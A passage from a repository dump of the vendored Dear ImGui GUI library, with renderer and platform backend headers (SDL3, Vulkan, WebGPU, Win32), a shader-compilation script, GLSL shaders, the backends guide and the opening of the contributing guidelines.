| #if defined(__clang__) 255 | #pragma clang diagnostic pop 256 | #endif 257 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_sdlrenderer3.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for SDL_Renderer for SDL3 2 | // (Requires: SDL 3.0.0+) 3 | 4 | // Note how SDL_Renderer is an _optional_ component of SDL3. 5 | // For a multi-platform app consider using e.g. SDL+DirectX on Windows and SDL+OpenGL on Linux/OSX. 6 | // If your application will want to render any non trivial amount of graphics other than UI, 7 | // please be aware that SDL_Renderer currently offers a limited graphic API to the end-user and 8 | // it might be difficult to step out of those boundaries. 9 | 10 | // Implemented features: 11 | // [X] Renderer: User texture binding. Use 'SDL_Texture*' as ImTextureID. Read the FAQ about ImTextureID! 12 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 13 | 14 | #pragma once 15 | #include "imgui.h" // IMGUI_IMPL_API 16 | 17 | struct SDL_Renderer; 18 | 19 | IMGUI_IMPL_API bool ImGui_ImplSDLRenderer3_Init(SDL_Renderer* renderer); 20 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer3_Shutdown(); 21 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer3_NewFrame(); 22 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer3_RenderDrawData(ImDrawData* draw_data); 23 | 24 | // Called by Init/NewFrame/Shutdown 25 | IMGUI_IMPL_API bool ImGui_ImplSDLRenderer3_CreateFontsTexture(); 26 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer3_DestroyFontsTexture(); 27 | IMGUI_IMPL_API bool ImGui_ImplSDLRenderer3_CreateDeviceObjects(); 28 | IMGUI_IMPL_API void ImGui_ImplSDLRenderer3_DestroyDeviceObjects(); 29 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_vulkan.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer Backend for Vulkan 2 | // This needs to be used along with a Platform Backend (e.g. GLFW, SDL, Win32, custom..) 3 | 4 | // Implemented features: 5 | // [!] Renderer: User texture binding. Use 'VkDescriptorSet' as ImTextureID. Read the FAQ about ImTextureID! See https://github.com/ocornut/imgui/pull/914 for discussions. 6 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 7 | 8 | // Important: on 32-bit systems, user texture binding is only supported if your imconfig file has '#define ImTextureID ImU64'. 9 | // See imgui_impl_vulkan.cpp file for details. 10 | 11 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 12 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 13 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 14 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 15 | 16 | // The aim of imgui_impl_vulkan.h/.cpp is to be usable in your engine without any modification. 17 | // IF YOU FEEL YOU NEED TO MAKE ANY CHANGE TO THIS CODE, please share them and your feedback at https://github.com/ocornut/imgui/ 18 | 19 | // Important note to the reader who wish to integrate imgui_impl_vulkan.cpp/.h in their own engine/app. 20 | // - Common ImGui_ImplVulkan_XXX functions and structures are used to interface with imgui_impl_vulkan.cpp/.h. 21 | // You will use those if you want to use this rendering backend in your engine/app. 22 | // - Helper ImGui_ImplVulkanH_XXX functions and structures are only used by this example (main.cpp) and by 23 | // the backend itself (imgui_impl_vulkan.cpp), but should PROBABLY NOT be used by your own engine/app code. 24 | // Read comments in imgui_impl_vulkan.h. 25 | 26 | #pragma once 27 | #include "imgui.h" // IMGUI_IMPL_API 28 | 29 | // [Configuration] in order to use a custom Vulkan function loader: 30 | // (1) You'll need to disable default Vulkan function prototypes. 31 | // We provide a '#define IMGUI_IMPL_VULKAN_NO_PROTOTYPES' convenience configuration flag. 32 | // In order to make sure this is visible from the imgui_impl_vulkan.cpp compilation unit: 33 | // - Add '#define IMGUI_IMPL_VULKAN_NO_PROTOTYPES' in your imconfig.h file 34 | // - Or as a compilation flag in your build system 35 | // - Or uncomment here (not recommended because you'd be modifying imgui sources!) 36 | // - Do not simply add it in a .cpp file! 37 | // (2) Call ImGui_ImplVulkan_LoadFunctions() before ImGui_ImplVulkan_Init() with your custom function. 38 | // If you have no idea what this is, leave it alone! 39 | //#define IMGUI_IMPL_VULKAN_NO_PROTOTYPES 40 | 41 | // Vulkan includes 42 | #if defined(IMGUI_IMPL_VULKAN_NO_PROTOTYPES) && !defined(VK_NO_PROTOTYPES) 43 | #define VK_NO_PROTOTYPES 44 | #endif 45 | #include 46 | 47 | // Initialization data, for ImGui_ImplVulkan_Init() 48 | // [Please zero-clear before use!] 49 | struct ImGui_ImplVulkan_InitInfo 50 | { 51 | VkInstance Instance; 52 | VkPhysicalDevice PhysicalDevice; 53 | VkDevice Device; 54 | uint32_t QueueFamily; 55 | VkQueue Queue; 56 | VkPipelineCache PipelineCache; 57 | VkDescriptorPool DescriptorPool; 58 | uint32_t Subpass; 59 | uint32_t MinImageCount; // >= 2 60 | uint32_t ImageCount; // >= MinImageCount 61 | VkSampleCountFlagBits MSAASamples; // >= VK_SAMPLE_COUNT_1_BIT (0 -> default to VK_SAMPLE_COUNT_1_BIT) 62 | const VkAllocationCallbacks* Allocator; 63 | void (*CheckVkResultFn)(VkResult err); 64 | }; 65 | 66 | // Called by user code 67 | IMGUI_IMPL_API bool ImGui_ImplVulkan_Init(ImGui_ImplVulkan_InitInfo* info, VkRenderPass render_pass); 68 | IMGUI_IMPL_API void ImGui_ImplVulkan_Shutdown(); 69 | IMGUI_IMPL_API void ImGui_ImplVulkan_NewFrame(); 70 | IMGUI_IMPL_API void ImGui_ImplVulkan_RenderDrawData(ImDrawData* draw_data, VkCommandBuffer command_buffer, VkPipeline pipeline = VK_NULL_HANDLE); 71 | IMGUI_IMPL_API bool ImGui_ImplVulkan_CreateFontsTexture(VkCommandBuffer command_buffer); 72 | IMGUI_IMPL_API void ImGui_ImplVulkan_DestroyFontUploadObjects(); 73 | IMGUI_IMPL_API void ImGui_ImplVulkan_SetMinImageCount(uint32_t min_image_count); // To override MinImageCount after initialization (e.g. if swap chain is recreated) 74 | 75 | // Register a texture (VkDescriptorSet == ImTextureID) 76 | // FIXME: This is experimental in the sense that we are unsure how to best design/tackle this problem 77 | // Please post to https://github.com/ocornut/imgui/pull/914 if you have suggestions. 78 | IMGUI_IMPL_API VkDescriptorSet ImGui_ImplVulkan_AddTexture(VkSampler sampler, VkImageView image_view, VkImageLayout image_layout); 79 | IMGUI_IMPL_API void ImGui_ImplVulkan_RemoveTexture(VkDescriptorSet descriptor_set); 80 | 81 | // Optional: load Vulkan functions with a custom function loader 82 | // This is only useful with IMGUI_IMPL_VULKAN_NO_PROTOTYPES / VK_NO_PROTOTYPES 83 | IMGUI_IMPL_API bool ImGui_ImplVulkan_LoadFunctions(PFN_vkVoidFunction(*loader_func)(const char* function_name, void* user_data), void* user_data = nullptr); 84 | 85 | //------------------------------------------------------------------------- 86 | // Internal / Miscellaneous Vulkan Helpers 87 | // (Used by example's main.cpp. Used by multi-viewport features. PROBABLY NOT used by your own engine/app.) 88 | //------------------------------------------------------------------------- 89 | // You probably do NOT need to use or care about those functions. 90 | // Those functions only exist because: 91 | // 1) they facilitate the readability and maintenance of the multiple main.cpp examples files. 92 | // 2) the multi-viewport / platform window implementation needs them internally. 93 | // Generally we avoid exposing any kind of superfluous high-level helpers in the bindings, 94 | // but it is too much code to duplicate everywhere so we exceptionally expose them. 95 | // 96 | // Your engine/app will likely _already_ have code to setup all that stuff (swap chain, render pass, frame buffers, etc.). 97 | // You may read this code to learn about Vulkan, but it is recommended you use you own custom tailored code to do equivalent work. 98 | // (The ImGui_ImplVulkanH_XXX functions do not interact with any of the state used by the regular ImGui_ImplVulkan_XXX functions) 99 | //------------------------------------------------------------------------- 100 | 101 | struct ImGui_ImplVulkanH_Frame; 102 | struct ImGui_ImplVulkanH_Window; 103 | 104 | // Helpers 105 | IMGUI_IMPL_API void ImGui_ImplVulkanH_CreateOrResizeWindow(VkInstance instance, VkPhysicalDevice physical_device, VkDevice device, ImGui_ImplVulkanH_Window* wnd, uint32_t queue_family, const VkAllocationCallbacks* allocator, int w, int h, uint32_t min_image_count); 106 | IMGUI_IMPL_API void ImGui_ImplVulkanH_DestroyWindow(VkInstance instance, VkDevice device, ImGui_ImplVulkanH_Window* wnd, const VkAllocationCallbacks* allocator); 107 | IMGUI_IMPL_API VkSurfaceFormatKHR ImGui_ImplVulkanH_SelectSurfaceFormat(VkPhysicalDevice physical_device, VkSurfaceKHR surface, const VkFormat* request_formats, int request_formats_count, VkColorSpaceKHR request_color_space); 108 | IMGUI_IMPL_API VkPresentModeKHR ImGui_ImplVulkanH_SelectPresentMode(VkPhysicalDevice physical_device, VkSurfaceKHR surface, const VkPresentModeKHR* request_modes, int request_modes_count); 109 | IMGUI_IMPL_API int ImGui_ImplVulkanH_GetMinImageCountFromPresentMode(VkPresentModeKHR present_mode); 110 | 111 | // Helper structure to hold the data needed by one rendering frame 112 | // (Used by example's main.cpp. Used by multi-viewport features. Probably NOT used by your own engine/app.) 113 | // [Please zero-clear before use!] 114 | struct ImGui_ImplVulkanH_Frame 115 | { 116 | VkCommandPool CommandPool; 117 | VkCommandBuffer CommandBuffer; 118 | VkFence Fence; 119 | VkImage Backbuffer; 120 | VkImageView BackbufferView; 121 | VkFramebuffer Framebuffer; 122 | }; 123 | 124 | struct ImGui_ImplVulkanH_FrameSemaphores 125 | { 126 | VkSemaphore ImageAcquiredSemaphore; 127 | VkSemaphore RenderCompleteSemaphore; 128 | }; 129 | 130 | // Helper structure to hold the data needed by one rendering context into one OS window 131 | // (Used by example's main.cpp. Used by multi-viewport features. Probably NOT used by your own engine/app.) 132 | struct ImGui_ImplVulkanH_Window 133 | { 134 | int Width; 135 | int Height; 136 | VkSwapchainKHR Swapchain; 137 | VkSurfaceKHR Surface; 138 | VkSurfaceFormatKHR SurfaceFormat; 139 | VkPresentModeKHR PresentMode; 140 | VkRenderPass RenderPass; 141 | VkPipeline Pipeline; // The window pipeline may uses a different VkRenderPass than the one passed in ImGui_ImplVulkan_InitInfo 142 | bool ClearEnable; 143 | VkClearValue ClearValue; 144 | uint32_t FrameIndex; // Current frame being rendered to (0 <= FrameIndex < FrameInFlightCount) 145 | uint32_t ImageCount; // Number of simultaneous in-flight frames (returned by vkGetSwapchainImagesKHR, usually derived from min_image_count) 146 | uint32_t SemaphoreIndex; // Current set of swapchain wait semaphores we're using (needs to be distinct from per frame data) 147 | ImGui_ImplVulkanH_Frame* Frames; 148 | ImGui_ImplVulkanH_FrameSemaphores* FrameSemaphores; 149 | 150 | ImGui_ImplVulkanH_Window() 151 | { 152 | memset((void*)this, 0, sizeof(*this)); 153 | PresentMode = (VkPresentModeKHR)~0; // Ensure we get an error if user doesn't set this. 154 | ClearEnable = true; 155 | } 156 | }; 157 | 158 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_wgpu.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Renderer for WebGPU 2 | // This needs to be used along with a Platform Binding (e.g. GLFW) 3 | // (Please note that WebGPU is currently experimental, will not run on non-beta browsers, and may break.) 4 | 5 | // Implemented features: 6 | // [X] Renderer: User texture binding. Use 'WGPUTextureView' as ImTextureID. Read the FAQ about ImTextureID! 7 | // [X] Renderer: Large meshes support (64k+ vertices) with 16-bit indices. 8 | 9 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 10 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 11 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 12 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 13 | 14 | #pragma once 15 | #include "imgui.h" // IMGUI_IMPL_API 16 | #include 17 | 18 | IMGUI_IMPL_API bool ImGui_ImplWGPU_Init(WGPUDevice device, int num_frames_in_flight, WGPUTextureFormat rt_format, WGPUTextureFormat depth_format = WGPUTextureFormat_Undefined); 19 | IMGUI_IMPL_API void ImGui_ImplWGPU_Shutdown(); 20 | IMGUI_IMPL_API void ImGui_ImplWGPU_NewFrame(); 21 | IMGUI_IMPL_API void ImGui_ImplWGPU_RenderDrawData(ImDrawData* draw_data, WGPURenderPassEncoder pass_encoder); 22 | 23 | // Use if you want to reset your rendering device without losing Dear ImGui state. 24 | IMGUI_IMPL_API void ImGui_ImplWGPU_InvalidateDeviceObjects(); 25 | IMGUI_IMPL_API bool ImGui_ImplWGPU_CreateDeviceObjects(); 26 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/imgui_impl_win32.h: -------------------------------------------------------------------------------- 1 | // dear imgui: Platform Backend for Windows (standard windows API for 32-bits AND 64-bits applications) 2 | // This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..) 3 | 4 | // Implemented features: 5 | // [X] Platform: Clipboard support (for Win32 this is actually part of core dear imgui) 6 | // [X] Platform: Mouse support. Can discriminate Mouse/TouchScreen/Pen. 7 | // [X] Platform: Keyboard support. Since 1.87 we are using the io.AddKeyEvent() function. Pass ImGuiKey values to all key functions e.g. ImGui::IsKeyPressed(ImGuiKey_Space). [Legacy VK_* values will also be supported unless IMGUI_DISABLE_OBSOLETE_KEYIO is set] 8 | // [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. 9 | // [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. 10 | 11 | // You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. 12 | // Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need. 13 | // If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. 14 | // Read online: https://github.com/ocornut/imgui/tree/master/docs 15 | 16 | #pragma once 17 | #include "imgui.h" // IMGUI_IMPL_API 18 | 19 | IMGUI_IMPL_API bool ImGui_ImplWin32_Init(void* hwnd); 20 | IMGUI_IMPL_API bool ImGui_ImplWin32_InitForOpenGL(void* hwnd); 21 | IMGUI_IMPL_API void ImGui_ImplWin32_Shutdown(); 22 | IMGUI_IMPL_API void ImGui_ImplWin32_NewFrame(); 23 | 24 | // Win32 message handler your application need to call. 25 | // - Intentionally commented out in a '#if 0' block to avoid dragging dependencies on from this helper. 26 | // - You should COPY the line below into your .cpp code to forward declare the function and then you can call it. 27 | // - Call from your application's message handler. Keep calling your message handler unless this function returns TRUE. 28 | 29 | #if 0 30 | extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); 31 | #endif 32 | 33 | // DPI-related helpers (optional) 34 | // - Use to enable DPI awareness without having to create an application manifest. 35 | // - Your own app may already do this via a manifest or explicit calls. This is mostly useful for our examples/ apps. 36 | // - In theory we could call simple functions from Windows SDK such as SetProcessDPIAware(), SetProcessDpiAwareness(), etc. 37 | // but most of the functions provided by Microsoft require Windows 8.1/10+ SDK at compile time and Windows 8/10+ at runtime, 38 | // neither we want to require the user to have. So we dynamically select and load those functions to avoid dependencies. 39 | IMGUI_IMPL_API void ImGui_ImplWin32_EnableDpiAwareness(); 40 | IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForHwnd(void* hwnd); // HWND hwnd 41 | IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForMonitor(void* monitor); // HMONITOR monitor 42 | 43 | // Transparency related helpers (optional) [experimental] 44 | // - Use to enable alpha compositing transparency with the desktop. 45 | // - Use together with e.g. clearing your framebuffer with zero-alpha. 46 | IMGUI_IMPL_API void ImGui_ImplWin32_EnableAlphaCompositing(void* hwnd); // HWND hwnd 47 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/vulkan/generate_spv.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ## -V: create SPIR-V binary 3 | ## -x: save binary output as text-based 32-bit hexadecimal numbers 4 | ## -o: output file 5 | glslangValidator -V -x -o glsl_shader.frag.u32 glsl_shader.frag 6 | glslangValidator -V -x -o glsl_shader.vert.u32 glsl_shader.vert 7 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/vulkan/glsl_shader.frag: -------------------------------------------------------------------------------- 1 | #version 450 core 2 | layout(location = 0) out vec4 fColor; 3 | 4 | layout(set=0, binding=0) uniform sampler2D sTexture; 5 | 6 | layout(location = 0) in struct { 7 | vec4 Color; 8 | vec2 UV; 9 | } In; 10 | 11 | void main() 12 | { 13 | fColor = In.Color * texture(sTexture, In.UV.st); 14 | } 15 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/backends/vulkan/glsl_shader.vert: -------------------------------------------------------------------------------- 1 | #version 450 core 2 | layout(location = 0) in vec2 aPos; 3 | layout(location = 1) in vec2 aUV; 4 | layout(location = 2) in vec4 aColor; 5 | 6 | layout(push_constant) uniform uPushConstant { 7 | vec2 uScale; 8 | vec2 uTranslate; 9 | } pc; 10 | 11 | out gl_PerVertex { 12 | vec4 gl_Position; 13 | }; 14 | 15 | layout(location = 0) out struct { 16 | vec4 Color; 17 | vec2 UV; 18 | } Out; 19 | 20 | void main() 21 | { 22 | Out.Color = aColor; 23 | Out.UV = aUV; 24 | gl_Position = vec4(aPos * pc.uScale + pc.uTranslate, 0, 1); 25 | } 26 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/docs/BACKENDS.md: -------------------------------------------------------------------------------- 1 | _(You may browse this at https://github.com/ocornut/imgui/blob/master/docs/BACKENDS.md or view this file with any Markdown viewer)_ 2 | 3 | ## Dear ImGui: Backends 4 | 5 | **The backends/ folder contains backends for popular platforms/graphics API, which you can use in 6 | your application or engine to easily integrate Dear ImGui.** Each backend is typically self-contained in a pair of files: imgui_impl_XXXX.cpp + imgui_impl_XXXX.h. 7 | 8 | - The 'Platform' backends are in charge of: mouse/keyboard/gamepad inputs, cursor shape, timing, and windowing.
9 | e.g. Windows ([imgui_impl_win32.cpp](https://github.com/ocornut/imgui/blob/master/backends/imgui_impl_win32.cpp)), GLFW ([imgui_impl_glfw.cpp](https://github.com/ocornut/imgui/blob/master/backends/imgui_impl_glfw.cpp)), SDL2 ([imgui_impl_sdl2.cpp](https://github.com/ocornut/imgui/blob/master/backends/imgui_impl_sdl2.cpp)), etc. 10 | 11 | - The 'Renderer' backends are in charge of: creating atlas texture, and rendering imgui draw data.
12 | e.g. DirectX11 ([imgui_impl_dx11.cpp](https://github.com/ocornut/imgui/blob/master/backends/imgui_impl_dx11.cpp)), OpenGL/WebGL ([imgui_impl_opengl3.cpp](https://github.com/ocornut/imgui/blob/master/backends/imgui_impl_opengl3.cpp)), Vulkan ([imgui_impl_vulkan.cpp](https://github.com/ocornut/imgui/blob/master/backends/imgui_impl_vulkan.cpp)), etc. 13 | 14 | - For some high-level frameworks, a single backend usually handles both 'Platform' and 'Renderer' parts.
15 | e.g. Allegro 5 ([imgui_impl_allegro5.cpp](https://github.com/ocornut/imgui/blob/master/backends/imgui_impl_allegro5.cpp)). If you end up creating a custom backend for your engine, you may want to do the same. 16 | 17 | An application usually combines one Platform backend + one Renderer backend + main Dear ImGui sources. 18 | For example, the [example_win32_directx11](https://github.com/ocornut/imgui/tree/master/examples/example_win32_directx11) application combines imgui_impl_win32.cpp + imgui_impl_dx11.cpp. There are 20+ examples in the [examples/](https://github.com/ocornut/imgui/blob/master/examples/) folder. See [EXAMPLES.MD](https://github.com/ocornut/imgui/blob/master/docs/EXAMPLES.md) for details. 19 | 20 | **Once Dear ImGui is setup and running, run and refer to `ImGui::ShowDemoWindow()` in imgui_demo.cpp for usage of the end-user API.** 21 | 22 | 23 | ### What are backends? 24 | 25 | Dear ImGui is highly portable and only requires a few things to run and render, typically: 26 | 27 | - Required: providing mouse/keyboard inputs (fed into the `ImGuiIO` structure). 28 | - Required: uploading the font atlas texture into graphics memory. 29 | - Required: rendering indexed textured triangles with a clipping rectangle. 30 | 31 | Extra features are opt-in, our backends try to support as many as possible: 32 | 33 | - Optional: custom texture binding support. 34 | - Optional: clipboard support. 35 | - Optional: gamepad support. 36 | - Optional: mouse cursor shape support. 37 | - Optional: IME support. 38 | - Optional: multi-viewports support. 39 | etc. 40 | 41 | This is essentially what each backend is doing + obligatory portability cruft. Using default backends ensure you can get all those features including the ones that would be harder to implement on your side (e.g. multi-viewports support). 42 | 43 | It is important to understand the difference between the core Dear ImGui library (files in the root folder) 44 | and the backends which we are describing here (backends/ folder). 45 | 46 | - Some issues may only be backend or platform specific. 47 | - You should be able to write backends for pretty much any platform and any 3D graphics API. 48 | e.g. you can get creative and use software rendering or render remotely on a different machine. 49 | 50 | 51 | ### Integrating a backend 52 | 53 | See "Getting Started" section of [EXAMPLES.MD](https://github.com/ocornut/imgui/blob/master/docs/EXAMPLES.md) for more details. 54 | 55 | 56 | ### List of backends 57 | 58 | In the [backends/](https://github.com/ocornut/imgui/blob/master/backends) folder: 59 | 60 | List of Platforms Backends: 61 | 62 | imgui_impl_android.cpp ; Android native app API 63 | imgui_impl_glfw.cpp ; GLFW (Windows, macOS, Linux, etc.) http://www.glfw.org/ 64 | imgui_impl_osx.mm ; macOS native API (not as feature complete as glfw/sdl backends) 65 | imgui_impl_sdl2.cpp ; SDL2 (Windows, macOS, Linux, iOS, Android) https://www.libsdl.org 66 | imgui_impl_sdl3.cpp ; SDL2 (Windows, macOS, Linux, iOS, Android) https://www.libsdl.org (*EXPERIMENTAL*) 67 | imgui_impl_win32.cpp ; Win32 native API (Windows) 68 | imgui_impl_glut.cpp ; GLUT/FreeGLUT (this is prehistoric software and absolutely not recommended today!) 69 | 70 | List of Renderer Backends: 71 | 72 | imgui_impl_dx9.cpp ; DirectX9 73 | imgui_impl_dx10.cpp ; DirectX10 74 | imgui_impl_dx11.cpp ; DirectX11 75 | imgui_impl_dx12.cpp ; DirectX12 76 | imgui_impl_metal.mm ; Metal (with ObjC) 77 | imgui_impl_opengl2.cpp ; OpenGL 2 (legacy, fixed pipeline <- don't use with modern OpenGL context) 78 | imgui_impl_opengl3.cpp ; OpenGL 3/4, OpenGL ES 2, OpenGL ES 3 (modern programmable pipeline) 79 | imgui_impl_sdlrenderer2.cpp ; SDL_Renderer (optional component of SDL2 available from SDL 2.0.18+) 80 | imgui_impl_sdlrenderer3.cpp ; SDL_Renderer (optional component of SDL3 available from SDL 3.0.0+) 81 | imgui_impl_vulkan.cpp ; Vulkan 82 | imgui_impl_wgpu.cpp ; WebGPU 83 | 84 | List of high-level Frameworks Backends (combining Platform + Renderer): 85 | 86 | imgui_impl_allegro5.cpp 87 | 88 | Emscripten is also supported! 89 | The SDL+GL, GLFW+GL and SDL+WebGPU examples are all ready to build and run with Emscripten. 90 | 91 | ### Backends for third-party frameworks, graphics API or other languages 92 | 93 | See https://github.com/ocornut/imgui/wiki/Bindings for the full list (e.g. Adventure Game Studio, Cinder, Cocos2d-x, Game Maker Studio2, Godot, LÖVE+LUA, Magnum, Monogame, Ogre, openFrameworks, OpenSceneGraph, SFML, Sokol, Unity, Unreal Engine and many others). 94 | 95 | ### Recommended Backends 96 | 97 | If you are not sure which backend to use, the recommended platform/frameworks for portable applications: 98 | 99 | |Library |Website |Backend |Note | 100 | |--------|--------|--------|-----| 101 | | GLFW | https://github.com/glfw/glfw | imgui_impl_glfw.cpp | | 102 | | SDL2 | https://www.libsdl.org | imgui_impl_sdl2.cpp | | 103 | | Sokol | https://github.com/floooh/sokol | [util/sokol_imgui.h](https://github.com/floooh/sokol/blob/master/util/sokol_imgui.h) | Lower-level than GLFW/SDL | 104 | 105 | 106 | ### Using a custom engine? 107 | 108 | You will likely be tempted to start by rewrite your own backend using your own custom/high-level facilities...
109 | Think twice! 110 | 111 | If you are new to Dear ImGui, first try using the existing backends as-is. 112 | You will save lots of time integrating the library. 113 | You can LATER decide to rewrite yourself a custom backend if you really need to. 114 | In most situations, custom backends have fewer features and more bugs than the standard backends we provide. 115 | If you want portability, you can use multiple backends and choose between them either at compile time 116 | or at runtime. 117 | 118 | **Example A**: your engine is built over Windows + DirectX11 but you have your own high-level rendering 119 | system layered over DirectX11.
120 | Suggestion: try using imgui_impl_win32.cpp + imgui_impl_dx11.cpp first. 121 | Once it works, if you really need it, you can replace the imgui_impl_dx11.cpp code with a 122 | custom renderer using your own rendering functions, and keep using the standard Win32 code etc. 123 | 124 | **Example B**: your engine runs on Windows, Mac, Linux and uses DirectX11, Metal, and Vulkan respectively.
125 | Suggestion: use multiple generic backends! 126 | Once it works, if you really need it, you can replace parts of backends with your own abstractions. 127 | 128 | **Example C**: your engine runs on platforms we can't provide public backends for (e.g. PS4/PS5, Switch), 129 | and you have high-level systems everywhere.
130 | Suggestion: try using a non-portable backend first (e.g. win32 + underlying graphics API) to get 131 | your desktop builds working first. This will get you running faster and get your acquainted with 132 | how Dear ImGui works and is setup. You can then rewrite a custom backend using your own engine API... 133 | 134 | Generally: 135 | It is unlikely you will add value to your project by creating your own backend. 136 | 137 | Also: 138 | The [multi-viewports feature](https://github.com/ocornut/imgui/issues/1542) of the 'docking' branch allows 139 | Dear ImGui windows to be seamlessly detached from the main application window. This is achieved using an 140 | extra layer to the Platform and Renderer backends, which allows Dear ImGui to communicate platform-specific 141 | requests such as: "create an additional OS window", "create a render context", "get the OS position of this 142 | window" etc. See 'ImGuiPlatformIO' for details. 143 | Supporting the multi-viewports feature correctly using 100% of your own abstractions is more difficult 144 | than supporting single-viewport. 145 | If you decide to use unmodified imgui_impl_XXXX.cpp files, you can automatically benefit from 146 | improvements and fixes related to viewports and platform windows without extra work on your side. 147 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/docs/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing Guidelines 2 | 3 | ## Index 4 | 5 | - [Getting Started & General Advice](#getting-started--general-advice) 6 | - [Issues vs Discussions](#issues-vs-discussions) 7 | - [How to open an Issue](#how-to-open-an-issue) 8 | - [How to open a Pull Request](#how-to-open-a-pull-request) 9 | - [Copyright / Contributor License Agreement](#copyright--contributor-license-agreement) 10 | 11 | ## Getting Started & General Advice 12 | 13 | - Article: [How To Ask Good Questions](https://bit.ly/3nwRnx1). 14 | - Please browse the [Wiki](https://github.com/ocornut/imgui/wiki) to find code snippets, links and other resources (e.g. [Useful extensions](https://github.com/ocornut/imgui/wiki/Useful-Extensions)). 15 | - Please read [docs/FAQ.md](https://github.com/ocornut/imgui/blob/master/docs/FAQ.md). 16 | - Please read [docs/FONTS.md](https://github.com/ocornut/imgui/blob/master/docs/FONTS.md) if your question relates to fonts or text. 17 | - Please read one of the [examples/](https://github.com/ocornut/imgui/tree/master/examples) application if your question relates to setting up Dear ImGui. 18 | - Please run `ImGui::ShowDemoWindow()` to explore the demo and its sources. 19 | - Please use the search function of your IDE to search in for comments related to your situation. 20 | - Please use the search function of GitHub to look for similar issues. You may [browse issues by Labels](https://github.com/ocornut/imgui/labels). 21 | - Please use a web search engine to look for similar issues. 22 | - If you get a crash or assert, use a debugger to locate the line triggering it and read the comments around. 23 | - Please don't be a [Help Vampire](https://slash7.com/2006/12/22/vampires/). 24 | 25 | ## Issues vs Discussions 26 | 27 | If you: 28 | - Cannot BUILD or LINK examples. 29 | - Cannot BUILD, or LINK, or RUN Dear ImGui in your application or custom engine. 30 | - Cannot LOAD a font. 31 | 32 | Then please [use the Discussions forums](https://github.com/ocornut/imgui/discussions) instead of opening an issue. 33 | 34 | If Dear ImGui is successfully showing in your app and you have used Dear ImGui before, you can open an issue. Any form of discussions is welcome as a new issue. 35 | 36 | ## How to open an issue 37 | 38 | You may use the Issue Tracker to submit bug reports, feature requests or suggestions. You may ask for help or advice as well. But **PLEASE CAREFULLY READ THIS WALL OF TEXT. ISSUES IGNORING THOSE GUIDELINES MAY BE CLOSED. USERS IGNORING THOSE GUIDELINES MIGHT BE BLOCKED.** 39 | 40 | Please do your best to clarify your request. The amount of incomplete or ambiguous requests due to people not following those guidelines is often overwhelming. Issues created without the requested information may be closed prematurely. Exceptionally entitled, impolite, or lazy requests may lead to bans. 41 | 42 | **PLEASE UNDERSTAND THAT OPEN-SOURCE SOFTWARE LIVES OR DIES BY THE AMOUNT OF ENERGY MAINTAINERS CAN SPARE. WE HAVE LOTS OF STUFF TO DO. THIS IS AN ATTENTION ECONOMY AND MANY LAZY OR MINOR ISSUES ARE HOGGING OUR ATTENTION AND DRAINING ENERGY, TAKING US AWAY FROM MORE IMPORTANT WORK.** 43 | 44 | Steps: 45 | 46 | - Article: [How To Ask Good Questions](https://bit.ly/3nwRnx1). 47 | - **PLEASE DO FILL THE REQUESTED NEW ISSUE TEMPLATE.** Including Dear ImGui version number, branch name, platform/renderer back-ends (imgui_impl_XXX files), operating system. 48 | - **Try to be explicit with your GOALS, your EXPECTATIONS and what you have tried**. Be mindful of [The XY Problem](http://xyproblem.info/). What you have in mind or in your code is not obvious to other people. People frequently discuss problems and suggest incorrect solutions without first clarifying their goals. When requesting a new feature, please describe the usage context (how you intend to use it, why you need it, etc.). If you tried something and it failed, show us what you tried. 49 | - **Attach screenshots (or GIF/video) to clarify the context**. They often convey useful information that is omitted by the description. You can drag pictures/files in the message edit box. Avoid using 3rd party image hosting services, prefer the long-term longevity of GitHub attachments (you can drag pictures into your post). On Windows, you can use [ScreenToGif](https://www.screentogif.com/) to easily capture .gif files. 50 | - **If you are discussing an assert or a crash, please provide a debugger callstack**. Never state "it crashes" without additional information. If you don't know how to use a debugger and retrieve a callstack, learning about it will be useful. 51 | - **Please make sure that your project has asserts enabled.** Calls to IM_ASSERT() are scattered in the code to help catch common issues. When an assert is triggered read the comments around it. By default IM_ASSERT() calls the standard assert() function. To verify that your asserts are enabled, add the line 